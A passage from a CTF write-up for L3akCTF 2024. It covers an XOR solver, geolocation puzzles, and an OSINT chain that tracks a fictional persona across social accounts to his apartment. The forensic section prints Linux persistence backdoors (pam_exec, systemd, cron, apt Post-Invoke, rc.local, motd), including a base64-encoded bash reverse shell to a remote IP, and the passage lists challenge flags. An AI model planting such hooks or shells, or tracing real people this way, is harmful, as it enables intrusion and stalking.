934))[</span><span class="mi">2</span><span class="p">:].</span><span class="n">zfill</span><span class="p">(</span><span class="mi">16</span><span class="p">)</span> 935 936 <span class="c1"># Try all inputs 937</span> <span class="k">for</span> <span class="n">trying</span> <span class="ow">in</span> <span class="n">lst</span><span class="p">:</span> 938 <span class="k">if</span> <span class="n">test_gates</span><span class="p">(</span><span class="n">trying</span><span class="p">,</span> <span class="n">cipher_bin</span><span class="p">):</span> 939 <span class="n">l_t</span> <span class="o">=</span> <span class="nb">list</span><span class="p">(</span><span class="n">trying</span><span class="p">)</span> 940 <span class="n">ma_g</span> <span class="o">=</span> <span class="nb">hex</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="s">""</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="n">l_t</span><span class="p">),</span> <span class="mi">2</span><span class="p">))</span> 941 <span class="n">finals</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">ma_g</span><span class="p">)</span> 942 943 <span class="n">h</span> <span class="o">=</span> <span class="s">''</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="n">finals</span><span class="p">)</span> 944 945 <span class="c1"># From hex to ASCII 946</span> <span class="k">print</span><span class="p">(</span><span class="nb">bytearray</span><span class="p">.</span><span class="n">fromhex</span><span class="p">(</span><span class="n">h</span><span class="p">.</span><span class="n">replace</span><span class="p">(</span><span class="s">"0x"</span><span class="p">,</span> <span class="s">""</span><span class="p">)).</span><span class="n">
946decode</span><span class="p">())</span> 947 948</code></pre></div></div> 949 950<p>And we get the flag:</p> 951 952<p align="center"> 953 <img src="/images/writeups/L3akCTF2024/hw_3.png" width="60%" /> 954</p> 955 956<p><code class="language-plaintext highlighter-rouge">L3AK{X0R_1s_EaS1lY_R3vErS1BLe!!}</code></p> 957 958<p><br /></p> 959 960<hr /> 961 962<p><br /></p> 963 964<h1 id="osint-1">OSINT</h1> 965 966<h2 id="geosint-1---229-solves">Geosint-1 - [229 solves]</h2> 967<p>205 968Submit the flag for the corresponding challenge (chall1) here.</p> 969 970<p>The geosint platform can be found at: <a href="https://osint.buzz/">https://osint.buzz/</a></p> 971 972<p><em>Authors: 0x157 & Suvoni</em></p> 973 974<p>For this challenge we land at a road with some sky scrapers at the end of it. With a river next to them, I started to think about New York ðºð¸. Looking at the other side, we found a bridge.</p> 975 976<p align="center"> 977 <img src="/images/writeups/L3akCTF2024/1_00_osint.png" width="70%" /> 978</p> 979 980<p align="center"> 981 <img src="/images/writeups/L3akCTF2024/1_0_osint.png" width="70%" /> 982</p> 983 984<p>Using <a href="https://lens.google/">Google Lens</a> with the bringe on the frame, we find its name, confirming the New York hipothesis, so we just need to follow the road alongside the river and find the exact location:</p> 985 986<p align="center"> 987 <img src="/images/writeups/L3akCTF2024/1_1_lens.png" width="70%" /> 988</p> 989 990<p align="center"> 991 <img src="/images/writeups/L3akCTF2024/1_1_flag.png" width="70%" /> 992</p> 993 994<p><a href="https://www.google.es/maps/@40.6339557,-74.0388724,3a,75y,17.8h,85.17t/data=!3m6!1e1!3m4!1saNApxfW9xFykH8SOvtzyAA!2e0!7i16384!8i8192?hl=es&entry=ttu">Google Maps exact location</a></p> 995 996<p><code class="language-plaintext highlighter-rouge">L3AK{Verr4zz4n0_Br1dge_1s_pR3tty_c00l}</code></p> 997 998<p><br /></p> 999 1000<h2 id="geosint-2---164-solves">Geosint-2 - [164 solves]</h2> 1001<p>354 1002Submit the flag for the corresponding challenge (chall2) here.</p> 1003 1004<p>The geosint platform can be found at: https://osint.buzz/</p> 1005 1006<p><em>Authors: 0x157 & Suvoni</em></p> 1007 1008<p>Looking at this position, we find different clues, first the cyrillic alphabet, then the ambulance number 103. A quick lookup will reduce the search to the <a href="https://en.wikipedia.org/wiki/List_of_emergency_telephone_numbers">countries with ambulance number 103</a>: ð°ð¿ Kazakhstan, ð²ð³ Mongolia, ð¹ð¯ Tajikistan and ð¹ð² Turkmenistan.</p> 1009 1010<p align="center"> 1011 <img src="/images/writeups/L3akCTF2024/2_0_ini.png" width="70%" /> 1012</p> 1013 1014<p align="center"> 1015 <img src="/images/writeups/L3akCTF2024/2_1_ini.png" width="70%" /> 1016</p> 1017 1018<p>The most obvious clue was the Doner City restaurant. <a href="https://razvioverflow.github.io/">RazviOverflow</a> searched on Google Lens for the store and found the <a href="https://2gis.kz/karaganda/firm/70000001029160469?m=73.19371%2C49.864088%2F11.95">following result</a>:</p> 1019 1020<p align="center"> 1021 <img src="/images/writeups/L3akCTF2024/2_2_lens.png" width="70%" /> 1022</p> 1023 1024<p align="center"> 1025 <img src="/images/writeups/L3akCTF2024/2_3_place.png" width="70%" /> 1026</p> 1027 1028<p>We have now the <a href="https://www.google.es/maps/@49.8935726,73.2109379,3a,75y,106.2h,90.66t/data=!3m6!1e1!3m4!1sMwRp8u5JXHgheMOOIONnsQ!2e0!7i16384!8i8192?hl=es&entry=ttu">exact Google Maps location</a>, so look at the map at the platform and submit to get the flag:</p> 1029 1030<p><code class="language-plaintext highlighter-rouge">L3AK{@_Cr0SsR04Ds_1N_kaZAKh5t4N}</code></p> 1031 1032<p><br /></p> 1033 1034<h2 id="geosint-3---129-solves">Geosint-3 - [129 solves]</h2> 1035<p>460 1036The geosint platform can be found at: https://osint.buzz/</p> 1037 1038<p>Submit the flag for the corresponding challenge (chall3) here.</p> 1039 1040<p><em>Authors: 0x157 & Suvoni</em></p> 1041 1042<p>In this challenge we land at an empty road, with the white sign and a light post number. The flag aims for the light post as the foothold for the challenge, but I took other ways to solve this one:</p> 1043 1044<p align="center"> 1045 <img src="/images/writeups/L3akCTF2024/3_0_ini.png" width="70%" /> 1046</p> 1047 1048<p align="center"> 1049 <img src="/images/writeups/L3akCTF2024/3_1_ini.png" width="70%" /> 1050</p> 1051 1052<p>We see some chinese letters on the white sign with red characters, and since Google Maps is not common on China, I took a guess into ð¹ð¼ Taiwan. Looking to the numbers in the sign on Google, we find a company with those phone numbers:</p> 1053 1054<p>(037)720668 1055(037)722033</p> 1056 1057<p align="center"> 1058 <img src="/images/writeups/L3akCTF2024/3_2_google.png" width="70%" /> 1059</p> 1060 1061<p>The <a href="https://www.twfile.com/item.aspx?no=42584738&sn=2030338">website</a> shows the location (use itâs chinise format èæ ç¸£å¾é¾é®é¾åé17 for better results):</p> 1062 1063<p align="center"> 1064 <img src="/images/writeups/L3akCTF2024/3_3_location.png" width="70%" /> 1065</p> 1066 1067<p>Looking for èæ ç¸£å¾é¾é®é¾åé17 on Maps, we got the following result, and in the same road, we can find that <a href="https://www.google.es/maps/@24.5890227,120.7
1067725047,3a,75y,356.19h,86.36t/data=!3m6!1e1!3m4!1sw0_ea0-KcicUahk5oO7A_w!2e0!7i16384!8i8192?hl=es&entry=ttu">exact Google Maps location</a>:</p> 1068 1069<p align="center"> 1070 <img src="/images/writeups/L3akCTF2024/3_4_res.png" width="70%" /> 1071</p> 1072 1073<p><code class="language-plaintext highlighter-rouge">L3AK{P0L3_NumB3R_7012}</code></p> 1074 1075<p><br /></p> 1076 1077<h2 id="geosint-4---84-solves">Geosint-4 - [84 solves]</h2> 1078<p>494 1079The geosint platform can be found at: https://osint.buzz/</p> 1080 1081<p>Submit the flag for the corresponding challenge (chall4) here.</p> 1082 1083<p><em>Authors: 0x157 & Suvoni</em></p> 1084 1085<p>In this challenge, we have so little information. Still, on our team, we are familiar with this landscape and we can affirm that it was the Mediterranean Sea as soon as we see the images:</p> 1086 1087<p align="center"> 1088 <img src="/images/writeups/L3akCTF2024/4_0_ini.png" width="70%" /> 1089</p> 1090 1091<p align="center"> 1092 <img src="/images/writeups/L3akCTF2024/4_1_ini.png" width="70%" /> 1093</p> 1094 1095<p align="center"> 1096 <img src="/images/writeups/L3akCTF2024/4_2_ini.png" width="70%" /> 1097</p> 1098 1099<p>We have some clues, first, <a href="https://www.reddit.com/r/geoguessr/comments/lwa9wr/map_of_european_road_curve_chevron_signs/">the white over black arrow sign</a>, which closes the search to Spain, Italy, Malta and Greece (what we expected). Then, it is a road close to the sea, close to a city and the most important clue is the <strong>4 lanes witdh with no separation between the traffic flow</strong>. These 4 lanes roads with no separation are uncommon (at least on Spain and the Mediterranean tour me and my teammates did on GMaps).</p> 1100 1101<p align="center"> 1102 <img src="/images/writeups/L3akCTF2024/4_2_sign.png" width="50%" /> 1103</p> 1104 1105<p>We when all over Greece, Sicilia and Sardegna looking for 4 way lanes with same landscape a couple islands nearby and after some time, <a href="https://razvioverflow.github.io/">RazviOverflow</a> landed in the <a href="https://www.google.com/maps/@37.8083926,23.8006507,3a,75y,200.47h,86.15t/data=!3m6!1e1!3m4!1sOrHV34a389gUi6cPdXhD3w!2e0!7i16384!8i8192!5m1!1e2?entry=ttu">exact Google Maps point</a> where the image was taken:</p> 1106 1107<p align="center"> 1108 <img src="/images/writeups/L3akCTF2024/4_3_map.png" width="70%" /> 1109</p> 1110 1111<p><code class="language-plaintext highlighter-rouge">L3AK{GrEeCe_R0@DTr1P!}</code></p> 1112 1113<p>Here you have some interesting resources I discovered along the way:</p> 1114 1115<ul> 1116 <li><a href="http://www.worldlicenseplates.com/">Lincense plates</a></li> 1117 <li><a href="https://geohints.com/Cars">Google Car fingerprint</a></li> 1118</ul> 1119 1120<p><br /></p> 1121 1122<h2 id="gameplay-1---149-solves">Gameplay-1 - [149 solves]</h2> 1123<p>50 1124When me and my friend arenât duoing CTFs, we like to play video games together. We left a trail of flags in the wake of our gaming antics, can you find them all? Hereâs a clue to start you off: mch4cker1337</p> 1125 1126<p><em>Authors: Suvoni & 0x157</em></p> 1127 1128<p>A quick search at Google, we will discover his friendâs YouTube channel, <a href="https://www.youtube.com/channel/UC-S_6ytFczS7dkjHTVM5v8A">Marini Craft</a>. He has a video of a Pro Minecraft GamePlay with the target <strong>mch4cker1337</strong> and it has description âFlag1â. Taking a closer look to the video, we can see that user <strong>mch4cker1337</strong> types characters at the chat during the gameplay. Take it easy and extract all characters from the gameplay in time order:</p> 1129 1130<p align="center"> 1131 <img src="/images/writeups/L3akCTF2024/gameplay_0.png" width="70%" /> 1132</p> 1133 1134<p><code class="language-plaintext highlighter-rouge">L3AK{M1n3Cr4ft_G4m3Pl4y_1th_M4rt1n!_Cr4Ft_1s_v3Ry_fun}</code></p> 1135 1136<p><br /></p> 1137 1138<h2 id="gameplay-2---65-solves">Gameplay-2 - [65 solves]</h2> 1139<p>316 1140Itâs recommended to solve Gameplay-1 before you can solve this challenge.</p> 1141 1142<p><em>Authors: Suvoni & 0x157</em></p> 1143 1144<p>Going deep on the search, there is a comment from the target <strong>mch4cker1337</strong> on the video with his <a href="https://www.reddit.com/user/Feisty-Schedule1097/">Reddit account</a>.</p> 1145 1146<p align="center"> 1147 <img src="/images/writeups/L3akCTF2024/gameplay_2_comment.png" width="70%" /> 1148</p> 1149 1150<ul> 1151 <li>Youtube: https://www.youtube.com/@mch4cker1337</li> 1152 <li>Reddit: https://www.reddit.com/user/Feisty-Schedule1097/</li> 1153</ul> 1154 1155<p>On his reddit, we can see many deleted comments. On <a href="https://web.archive.org/">wayback machine</a> there is no clue, so we tried <a href="https://old.reddit.com/user/Feisty-Schedule1097/">old.reddit.com</a> and found a discord server link:</p> 1156 1157<p align="center"> 1158 <img src="/images/writeups/L3akCTF2024/gameplay_2_rem.png" width="70%" /> 1159</p> 1160 1161<p>Deleted posts were still on old.reddit.com:</p> 1162 1163<p align="center"> 1164 <img src="/images/writeups/L3akCTF2024/gameplay_2_dis.png" width="70%" /> 1165</p> 1166 1167<p>On the discord server we found the flag on the channel description:</p> 1168 1169<p align="center"> 1170 <img src="/images/writeups/L3akCTF2024/gameplay_2_flag.png" width="70%" /> 1171</p> 1172 1173<p><code class="language-plaintext highlighter-rouge">L3AK{Th3_g4M1nG_TrA1L_LeD_Y0u_heR3}</code></p> 1174 1175<p><br /></p> 1176 1177<h2 id="gameplay-3---34-solves">Gameplay-3 - [34 solves]</h2> 1178<p>451 1179You have to solve Gameplay-2 before you can solve this challenge.</p> 1180 1181<p><em>Authors: Suvoni & 0x157</em></p> 1182 1183<p>In the Discord server, we dive in previous conversation and find the following photo, talking about both guys playing chess online:</p> 1184 1185<p align="center"> 1186 <img src="/images/writeups/L3akCTF2024/gameplay_3_0.png" width="70%" /> 1187</p> 1188 1189<p>We looked for the <strong>m4rt1nicraft</strong> nick in <a href="https://www.chess.com/">chess.com</a>, the most famous website for playing chess and found <a href="https://www.chess.com/member/m4rt1nicraft">his profile</a>. 1190On Discord, his mate calls for some sensitive info leak on his chess profile, so we look into wayback machine:</p> 1191 1192<ul> 1193 <li>Chess.com: https://www.chess.com/member/m4rt1nicraft</li> 1194</ul> 1195 1196<p align="center"> 1197 <img src="/images/writeups/L3akCTF2024/gameplay_3_0_info.png" width="60%" /> 1198</p> 1199 1200<p>On <a href="https://web.archive.org/web/20240520023121/https://www.chess.com/member/m4rt1nicraft">Wayback</a> we find his email address:</p> 1201 1202<p align="center"> 1203 <img src="/images/writeups/L3akCTF2024/gameplay_3_1_mail.png" width="70%" /> 1204</p> 1205 1206<p>Using his email on the calendar URL, se can see a public meeting: <a href="https://calendar.google.com/calendar/u/0/[email protected]">https://calendar.google.com/calendar/u/0/[email protected]</a>. We can also try with his Google user ID to search Google Maps contributions, but there was nothing in there. Here we see the public meeting:</p> 1207 1208<p align="center"> 1209 <img src="/images/writeups/L3akCTF2024/gameplay_3_2_cal.png" width="70%" /> 1210</p> 1211 1212<p>With the <a href="https://www.instagram.com/tf4rc_1n1tr4m_733132/">instagram link</a>, we can access and see the flag on the public pictures:</p> 1213 1214<ul> 1215 <li>Instagram: https://www.instagram.com/tf4rc_1n1tr4m_733132/</li> 1216</ul> 1217 1218<p align="center"> 1219 <img src="/images/writeups/L3akCTF2024/gameplay_3_flag.png" width="70%" /> 1220</p> 1221 1222<p><code class="language-plaintext highlighter-rouge">L3AK{1NsT4grAm_AcC0uNT_R3Cov3rY!}</code></p> 1223 1224<p><br /></p> 1225 1226<h2 id="gameplay-4---22-solves">Gameplay-4 - [22 solves]</h2> 1227<p>500 1228For this challenge, submit the name of the apartment complex in the flag wrapper L3AK{}. All lowercase, no spaces.</p> 1229 1230<p>Example Flag: L3AK{1337apartmentcomplex}</p> 1231 1232<p><em>Authors: Suvoni & 0x157</em></p> 1233 1234<p>Letâs get to the fun part ð</p> 1235 1236<p>We can grab some information from previous sources. From <a href="https://www.instagram.com/p/C7Pis2vviRS/?img_index=1">Martini Craftâs latest instagram post</a> we extract the following clue:</p> 1237 1238<p><em>I absolutely love Atwoodâs Pizza! I had the Lazy Cat specialty pizza with my CTF team and it was delicious! 1239I took my schoolâs Gold Route bus to get here from campus, although I usually take a different bus route to get from my apartment to campus. 1240Anyways, I would highly recommend this place to other students living in the area!</em></p> 1241 1242<p align="center"> 1243 <img src="/images/writeups/L3akCTF2024/gameplay_4_0.png" width="70%" /> 1244</p> 1245 1246<p align="center"> 1247 <img src="/images/writeups/L3akCTF2024/gameplay_4_1.png" width="70%" /> 1248</p> 1249 1250<p>We searched for <a href="https://www.google.es/maps/@33.7775399,-84.3871781,3a,75y,140.39h,102.17t/data=!3m6!1e1!3m4!1sJuURJvHRz4F4Cs-CsZLfWQ!2e0!7i16384!8i8192?hl=es&entry=ttu">Atwoodâs Pizza</a> at Google and there was not so much information such as reviews or something. We had to keep up the investigation taking note of the âGold Route busâ hint.</p> 1251 1252<p>going back to the conversation on Discord, we can assume Martini Craft lives near the building in the picture:</p> 1253 1254<p align="center"> 1255 <img src="/images/writeups/L3akCTF2024/gameplay_4_dis.png" width="70%" /> 1256</p> 1257 1258<p>Using Google Lens we see that it refers to the <a href="https://en.wikipedia.org/wiki/CODA_(mixed-use_development)">Coda building</a> in Atlanta, close to the aforementioned <a href="https://www.google.es/maps/@33.7775399,-84.3871781,3a,75y,140.39h,102.17t/data=!3m6!1e1!3m4!1sJuURJvHRz4F4Cs-CsZLfWQ!2e0!7i16384!8i8192?hl=es&entry=ttu">Atwoodâs Pizza</a>. This is the exact <a href="https://www.google.es/maps/@33.7767032,-84.388816,3a,75y,180.48h,104.95t/data=!3m6!1e1!3m4!1suVB5RB5zUK2w2eh2RFnyOQ!2e0!7i16384!8i8192?hl=es&entry=ttu">Google Maps location</a>.</p> 1259 1260<p align="center"> 1261 <img src="/images/writeups/L3akCTF2024/gameplay_4_coda.png" width="70%" /> 1262</p> 1263 1264<p>On the Instagram post it says he uses the <strong>Gold Route bus</strong>
1264 line to get to Atwoodâs Pizza from the Campus, but <strong>uses other lane to go from Campus to his Apartment</strong>. Looking for the Gold Bus line, we find the <a href="https://www.pts.gatech.edu/shuttles/stinger/">following map</a> with the campus bus lines that will help us in the task:</p> 1265 1266<p align="center"> 1267 <img src="/images/writeups/L3akCTF2024/map.png" width="70%" /> 1268</p> 1269 1270<p>Next, we keep digging for more clues at Discord. In the conversation he provides more hints for his location:</p> 1271 1272<p align="center"> 1273 <img src="/images/writeups/L3akCTF2024/gameplay_4_comments.png" width="70%" /> 1274</p> 1275 1276<p>Time to connect the dots. We search for <a href="https://www.google.com/maps/search/subway/@33.7810051,-84.4015342,15z/data=!3m1!4b1?entry=ttu">Subway Restaurants</a> and <a href="https://www.google.com/maps/search/gas+station/@33.7809803,-84.4015342,15.5z?entry=ttu">Gas stations</a> on Google Map and use the bus route map to connect the hints:</p> 1277 1278<ul> 1279 <li>ð£ G: Gas Station</li> 1280 <li>ð¢ S: Subway Restaurants</li> 1281 <li>ð´ P: Atwoodâs Pizza</li> 1282 <li>ðµ Ph: Where discord photo was taken</li> 1283</ul> 1284 1285<p align="center"> 1286 <img src="/images/writeups/L3akCTF2024/gameplay_4_map.png" width="70%" /> 1287</p> 1288 1289<p>Looking to the different options, we tried all the apartments at the right side of the map, due to the hint on Discord that quotes: <em>âhereâs a hint, I live relatively close to here ð¤«â</em> refering to the Coda building, so we spent so much time there with no success.</p> 1290 1291<p>Ten minutes before the CTF finished, I decided to step away from that ânear the Coda buildingâ hint and looked to the top of the map, the Green route bus. Since it says <em>âThereâs a gas station across from my place if you need to refuel after your long drive ðâ</em> and <em>âif we get hungry, we can go to the Subway down the streetâ</em>, I selected the building in front of the gas station on the <strong>Green Bus campus line</strong> and we got the correct apartment:</p> 1292 1293<p align="center"> 1294 <img src="/images/writeups/L3akCTF2024/rich_map.png" width="70%" /> 1295</p> 1296 1297<p>Building, <a href="https://www.google.es/maps/place/The+Local+on+14th/@33.7857855,-84.403718,17.78z/data=!4m9!1m2!2m1!1sgas+station!3m5!1s0x88f504f400f6f29d:0x260e8e6779f8925e!8m2!3d33.7865179!4d-84.4023624!16s%2Fg%2F11c459zxtd?hl=es&entry=ttu">Google Maps flag location</a>:</p> 1298 1299<p align="center"> 1300 <img src="/images/writeups/L3akCTF2024/gameplay_4_flag.png" width="70%" /> 1301</p> 1302 1303<p><code class="language-plaintext highlighter-rouge">L3AK{thelocalon14th}</code></p> 1304 1305<p><br /></p> 1306 1307<hr /> 1308 1309<p><br /></p> 1310 1311<h1 id="forensic-1">Forensic</h1> 1312 1313<h2 id="holdontight---68-solves">HoldOnTight - [68 solves]</h2> 1314<p>298 1315linux persistence 1316Hacking is all about persistence</p> 1317 1318<p><em>Author: vivisghost</em></p> 1319 1320<p>nc 35.229.44.203 3666</p> 1321 1322<p>They provide us with an <strong>/etc</strong> folder. We looked for different persistence techniques Iâve seen on other pentesting tasks:</p> 1323 1324<ul> 1325 <li>pam.d/sudo</li> 1326</ul> 1327 1328<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cat </span>pam.d/sudo 1329<span class="c">#%PAM-1.0</span> 1330 1331<span class="c"># Set up user limits from /etc/security/limits.conf.</span> 1332session required pam_limits.so 1333 1334session required pam_env.so <span class="nv">readenv</span><span class="o">=</span>1 <span class="nv">user_readenv</span><span class="o">=</span>0 1335session required pam_env.so <span class="nv">readenv</span><span class="o">=</span>1 <span class="nv">envfile</span><span class="o">=</span>/etc/default/locale <span class="nv">user_readenv</span><span class="o">=</span>0 1336 1337<span class="c"># CantStopWontStop</span> 1338session optional pam_exec.so /tmp/backdoor.sh 1339 1340<span class="c">#L#3#a#k#{#5#u#p#3#r#_#5#h#3#1#1#_#u#5#3#r#}</span> 1341@include common-auth 1342@include common-account 1343@include common-session-noninteractive 1344</code></pre></div></div> 1345 1346<ul> 1347 <li>systemd/system/backdoor.service</li> 1348</ul> 1349 1350<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cat </span>systemd/system/backdoor.service 1351<span class="o">[</span>Unit] 1352<span class="nv">Description</span><span class="o">=</span>Malware Service Example 1353<span class="nv">After</span><span class="o">=</span>network.target 1354 1355<span class="o">[</span>Service] 1356<span class="nv">Type</span><span class="o">=</span>simple 1357<span class="nv">ExecStart</span><span class="o">=</span>/tmp/backdoor.sh 1358<span class="nv">Restart</span><span class="o">=</span>on-failure 1359<span class="nv">User</span><span class="o">=</span>root <span class="c">#}r3m1T_dn@_3c1vr35{ka3L</span> 1360 1361<span class="o">[</span>Install] 1362<span class="nv">WantedBy</span><span class="o">=</span>multi-user.target 1363</code></pre></div></div> 1364 1365<ul> 1366 <li>crontab</li> 1367</ul> 1368 1369<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cat </span>crontab 1370 1371<span class="nv">SHELL</span><span class="o">=</span>/bin/sh 137217 <span class="k">*</span> <span class="k">*</span> <span class="k">*</span> <span class="k">*</span>
1372 root <span class="nb">cd</span> / <span class="o">&&</span> run-parts <span class="nt">--report</span> /etc/cron.hourly 137325 6 <span class="k">*</span> <span class="k">*</span> <span class="k">*</span> root <span class="nb">test</span> <span class="nt">-x</span> /usr/sbin/anacron <span class="o">||</span> <span class="o">(</span> <span class="nb">cd</span> / <span class="o">&&</span> run-parts <span class="nt">--report</span> /etc/cron.daily <span class="o">)</span> 137447 6 <span class="k">*</span> <span class="k">*</span> 7 root <span class="nb">test</span> <span class="nt">-x</span> /usr/sbin/anacron <span class="o">||</span> <span class="o">(</span> <span class="nb">cd</span> / <span class="o">&&</span> run-parts <span class="nt">--report</span> /etc/cron.weekly <span class="o">)</span> 137552 6 1 <span class="k">*</span> <span class="k">*</span> root <span class="nb">test</span> <span class="nt">-x</span> /usr/sbin/anacron <span class="o">||</span> <span class="o">(</span> <span class="nb">cd</span> / <span class="o">&&</span> run-parts <span class="nt">
1375--report</span> /etc/cron.monthly <span class="o">)</span> 1376<span class="k">*</span>/5 <span class="k">*</span> <span class="k">*</span> <span class="k">*</span> <span class="k">*</span> root /tm<span class="s1">'p/b'</span>ac<span class="s1">'kd'</span>oor.sh 1377<span class="c">#L'3a'k{Cr0n5'_50'_C71'ch3}'</span> 1378</code></pre></div></div> 1379 1380<ul> 1381 <li>/etc/apt/apt.conf.d</li> 1382</ul> 1383 1384<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/etc/apt/apt.conf.d 1385<span class="nb">cat </span>100holdon 1386<span class="c">#TDNha3s0cDdfSW41NzQxMV81aDMxMX0=</span> 1387DPKG::Post-Invoke <span class="o">{</span><span class="s2">"file=</span><span class="si">$(</span><span class="nb">echo</span> <span class="s1">'YmFja2Rvb3Iuc2g='</span>|base64 <span class="nt">-d</span><span class="si">)</span><span class="s2">; echo 'IyEvYmluL2Jhc2gKL2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjAuMC42LzEyMzQgMD4mMQo=' |base64 -d > /tmp/</span><span class="nv">$file</span><span class="s2">;chmod +x /tmp/</span><span class="nv">
1387$file</span><span class="s2">;/tmp/</span><span class="nv">$file</span><span class="s2">"</span><span class="p">;</span><span class="o">}</span><span class="p">;</span> 1388</code></pre></div></div> 1389 1390<ul> 1391 <li>init.d</li> 1392</ul> 1393 1394<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>bash S01stillhere.sh start 1395L3ak<span class="o">{</span>initd_2_b0075<span class="o">}</span> 1396</code></pre></div></div> 1397 1398<ul> 1399 <li>rc.local</li> 1400</ul> 1401 1402<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cat </span>rc.local 1403<span class="c">#!/bin/bash</span> 1404 1405<span class="nv">ENCODED_ArcaneGate_PATH</span><span class="o">=</span><span class="s2">"L3RtcC9iYWNrZG9vci5zaA=="</span> 1406<span class="nv">ArcaneGate_PATH</span><span class="o">=</span><span class="si">$(</span><span class="nb">echo</span> <span class="s2">"</span><span class="nv">$ENCODED_ArcaneGate_PATH</span><span class="s2">"</span> | <span class="nb">base64</span> <span class="nt">
1406--decode</span><span class="si">)</span> 1407<span class="nv">ArcaneGate_BASE64</span><span class="o">=</span><span class="s1">'IyEvYmluL2Jhc2gKL2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjAuMC42LzEyMzQgMD4mMQo='</span> 1408 1409<span class="c"># Check if the ArcaneGate script exists, if not, recreate it from the Base64 string</span> 1410<span class="k">if</span> <span class="o">[</span> <span class="o">!</span> <span class="nt">-f</span> <span class="s2">"</span><span class="nv">$ArcaneGate_PATH</span><span class="s2">"</span> <span class="o">]</span><span class="p">;</span> <span class="k">then 1411 </span><span class="nb">echo</span> <span class="s2">"ArcaneGate script not found, recreating..."</span> 1412 <span class="nb">echo</span> <span class="s2">"</span><span class="nv">$ArcaneGate_BASE64</span><span class="s2">"</span> | <span class="nb">base64</span> <span class="nt">--decode</span> <span class="o">></span> <span class="s2">"</span><span class="nv">$ArcaneGate_PATH</span><span class="s2">"</span> 1413 <span class="nb">chmod</span> +x <span class="s2">"</span><span class="nv">$ArcaneGate_PATH</span><span class="s2">"</span> 1414<span class="k">fi</span> 1415 1416<span class="c"># The Specter that Steers Your Spirit</span> 1417<span class="c">## In the shadowed alcoves of ancient libraries where the whispers of the past linger like morning fog,</span> 1418<span class="c">## there lies a tome, bound not in leather but in the mysteries of the ether itself.</span> 1419<span class="c">## The first chapter, "The Specter that Steers Your Spirit," reveals how one may</span> 1420<span class="c">## summon and commune with the ghostly essences that drift through the veils of our world. </span> 1421<span class="c">## TDNha3tyY19sMGM0bF8wbl9iMDB0fQ==</span> 1422 1423<span class="c"># Execute the ArcaneGate script</span> 1424<span class="s2">"</span><span class="nv">$ArcaneGate_PATH</span><span class="s2">"</span> 1425 1426<span class="nb">exit </span>0 1427</code></pre></div></div> 1428 1429<ul> 1430 <li>/etc/update-motd.d/00-header</li> 1431</ul> 1432 1433<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cat</span> /etc/update-motd.d/00-header 1434 1435<span class="c">#!/bin/sh</span> 1436<span class="o">[</span> <span class="nt">-r</span> /etc/lsb-release <span class="o">]</span> <span class="o">&&</span> <span class="nb">.</span> /etc/lsb-release 1437 1438<span class="k">if</span> <span class="o">[</span> <span class="nt">-z</span> <span class="s2">"</span><span class="nv">$DISTRIB_DESCRIPTION</span><span class="s2">"</span> <span class="o">]</span> <span class="o">&&</span> <span class="o">[</span> <span class="nt">-x</span> /usr/bin/lsb_release <span class="o">]</span><span class="p">;</span> <span class="k">then</span> 1439 <span class="c"># Fall back to using the very slow lsb_release utility</span> 1440 <span class="nv">DISTRIB_DESCRIPTION</span><span class="o">=</span><span class="si">$(</span>lsb_release <span class="nt">-s</span> <span class="nt">-d</span><span class="si">)</span> 1441<span class="k">fi 1442 1443</span><span class="nb">printf</span> <span class="s2">"Welcome to %s (%s %s %s)</span><span class="se">\n</span><span class="s2">"</span> <span class="s2">"</span><span class="nv">$DISTRIB_DESCRIPTION</span><span class="s2">"</span> <span class="s2">"</span><span class="si">$(</span><span class="nb">uname</span> <span class="nt">-o</span><span class="si">)</span><span class="s2">"</span> <span class="s2">"</span><span class="si">$(</span><span class="nb">uname</span> <span class="nt">-r</span><span class="si">)</span><span class="s2">"</span> <span class="s2">"</span><span class="si">$(</span><span class="nb">uname</span> <span class="nt">-m</span><span class="si">)</span><span class="s2">"</span> 1444 1445<span class="nb">echo</span> <span class="s1">'2f746d702f6261636b646f6f722e73682026'</span> | xxd <span class="nt">-r</span> <span class="nt">-p</span> | bash 1446<span class="c"># echo '4c33616b7b35683331315f30665f3768335f4434797d0a' | xxd -r -p</span> 1447</code></pre></div></div> 1448 1449<ul> 1450 <li>logrotate.d/rsyslog</li> 1451</ul> 1452 1453<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/var/log/syslog 1454/var/log/mail.info 1455/var/log/mail.warn 1456/var/log/mail.err 1457/var/log/mail.log 1458/var/log/daemon.log 1459/var/log/kern.log 1460/var/log/auth.log 1461/var/log/user.log 1462/var/log/lpr.log 1463/var/log/cron.log 1464/var/log/debug 1465/var/log/messages 1466<span class="o">{</span> 1467 rotate 4 1468 weekly 1469 missingok 1470 notifempty 1471 compress 1472 delaycompress 1473 sharedscripts 1474 postrotate 1475 /usr/lib/rsyslog/rsyslog-rotate
